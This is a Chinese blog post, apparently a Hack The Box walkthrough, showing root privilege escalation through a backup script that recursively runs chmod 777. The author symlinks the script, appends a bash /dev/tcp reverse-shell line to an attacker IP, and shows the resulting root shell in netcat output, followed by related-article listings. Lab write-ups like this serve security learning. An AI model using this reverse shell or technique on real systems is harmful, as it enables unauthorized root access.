备份脚本chmod777导致的提权

蔚落 2022-09-07 03:59 162阅读 0赞

giovanni@teacher:~/work/tmp$ cat /usr/bin/backup.sh cat /usr/bin/backup.sh #!/bin/bash cd /home/giovanni/work;
    tar -czvf tmp/backup_courses.tar.gz courses/*;
    cd tmp;
    tar -xf backup_courses.tar.gz;
    chmod 777 * -R;

脚本是这样子的/usr/bin/backup.sh的组和用户都是root，我们是普通用户无法修改  
但是脚本里面包含了777  
这里直接软连接过去

giovanni@teacher:~/work/tmp$ ln -s /usr/bin/backup.sh backup.sh
    ln -s /usr/bin/backup.sh backup.sh
    giovanni@teacher:~/work/tmp$ ls -l
    ls -l
    total 65308
    -rwxrwxrwx 1 root     root     66851490 Aug 22 02:29 backup_courses.tar.gz
    lrwxrwxrwx 1 giovanni giovanni       18 Aug 22 02:29 backup.sh -> /usr/bin/backup.sh
    drwxrwxrwx 2 root     root        20480 Aug 22 02:29 courses
    giovanni@teacher:~/work/tmp$ vim backup.sh

这样就就可以修改了  
追加一行

bash -i >& /dev/tcp/10.10.14.25/4445 0>&

┌─[htb-ihb@htb-gvbusmoqqa]─[~]
    └──╼ $nc -nvlp 4445
    Listening on 0.0.0.0 4445
    Connection received on 10.10.10.153 41738
    bash: cannot set terminal process group (2956): Inappropriate ioctl for device
    bash: no job control in this shell
    root@teacher:/home/giovanni/work/tmp# id
    id
    uid=0(root) gid=0(root) groups=0(root)
    root@teacher:/home/giovanni/work/tmp#

顺利拿到root的shell

发表评论取消回复

表情：

评论列表（有 0 条评论，162人围观）

还没有评论，来说两句吧...

相关阅读

相关 linux提权

参考[https://www.webshell.cc/5211.html][https_www.webshell.cc_5211.html] 一般有3种思路 1.根据已知信

客官°小女子只卖身不卖艺/ 2023年01月10日 14:52/ 0 赞/ 224 阅读

相关 python提权_linux 提权-SUID提权

前言最近想着学习linux提权的一些姿势，这里简单分享学习SUID提权的一些知识点。权限解读先来父复习一下linux文件的权限分配。 ls命令用来查看系统上面的文

曾经终败给现在/ 2023年01月08日 15:28/ 0 赞/ 334 阅读

相关提权

目录什么是提权用户划分 windows权限 linux权限提权类别

- 日理万妓/ 2022年12月18日 01:58/ 0 赞/ 379 阅读

相关提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

一、初识提权很多时候我们入侵一个网站的时候，想要的是得到这个服务器的权限，也就是admin权限，但是一般默认得到的是普通用的地权限，权限很小，所以就要通过其他手段

亦凉/ 2022年09月28日 01:23/ 0 赞/ 1022 阅读

相关备份脚本chmod777导致的提权

giovanni@teacher:~/work/tmp$ cat /usr/bin/backup.sh cat /usr/bin/backup.sh !/bin/bas

蔚落/ 2022年09月07日 03:59/ 0 赞/ 163 阅读

相关 chmod 777 修改权限

在Unix和Linux的各种操作系统下，每个文件（文件夹也被看作是文件）都按读、写、运行设定权限。例如我用ls -l命令列文件表时，得到如下输出: \-rw-r--r

男娘i/ 2022年08月10日 09:23/ 0 赞/ 173 阅读

相关提权系列(二)----Windows Service 服务器提权之Mssql提权,GetPass提权,hash提权,LPK提权

(一)、Mssql提权必要条件：获取到mssql数据库最高权限用户sa的账号密码 Mssql默认端口：1433 Mssql最高权限用户：sa

╰半橙微兮°/ 2022年06月18日 04:14/ 0 赞/ 759 阅读

相关 Linux中的提权说明(chmod)

先放一张Linux上的截图，我们再来以下内容 ![1035946352.png][] 在Linux上输入 `ll`命令我们可以得到如上的类似图片，就拿我用红框圈出来

妖狐艹你老母/ 2022年06月13日 10:56/ 0 赞/ 180 阅读

相关 sudo chmod 777 demo

修改的服务器文件的权限 lsof -i:4000 查找被占用的端口 kill -9 xxxx 杀死进程 pm2 stop www pm2 delete ww

一时失言乱红尘/ 2022年05月24日 09:46/ 0 赞/ 159 阅读

相关 Linux下chmod 777 修改权限

在linux操作系统下，使用shell命令来操作：关于权限的问题用chmod命令来修改权限 ![982572-20160715094337373-632201935.pn

妖狐艹你老母/ 2022年05月14日 03:11/ 0 赞/ 262 阅读